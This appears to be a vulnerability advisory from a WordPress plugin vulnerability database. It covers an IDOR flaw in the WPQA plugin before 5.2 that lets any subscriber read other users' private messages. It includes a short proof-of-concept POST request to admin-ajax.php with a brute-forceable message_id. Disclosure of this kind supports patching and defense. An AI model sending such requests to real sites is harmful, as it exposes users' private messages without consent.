WordPress Plugin Vulnerabilities
WPQA < 5.2 - Subscriber+ Private Message Disclosure via IDOR
Description
The plugin, used as a companion plugin for the Discy and Himer themes, does not validate that the message_id of the wpqa_message_view ajax action belongs to the requesting user, leading to any user being able to read messages for any other users via a Insecure Direct Object Reference (IDOR) vulnerability.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: close Cookie: <valid cookie of any user> action=wpqa_message_view&message_id=<numeric_id_can_be_bruteforced>
Affects Plugins
Fixed in 5.2 References
CVE
YouTube Video
Classification
Type
IDOR
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Veshraj Ghimire
Submitter
Veshraj Ghimire
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-21 (about 2 years ago)
Added
2022-04-21 (about 2 years ago)
Last Updated
2022-05-07 (about 2 years ago)
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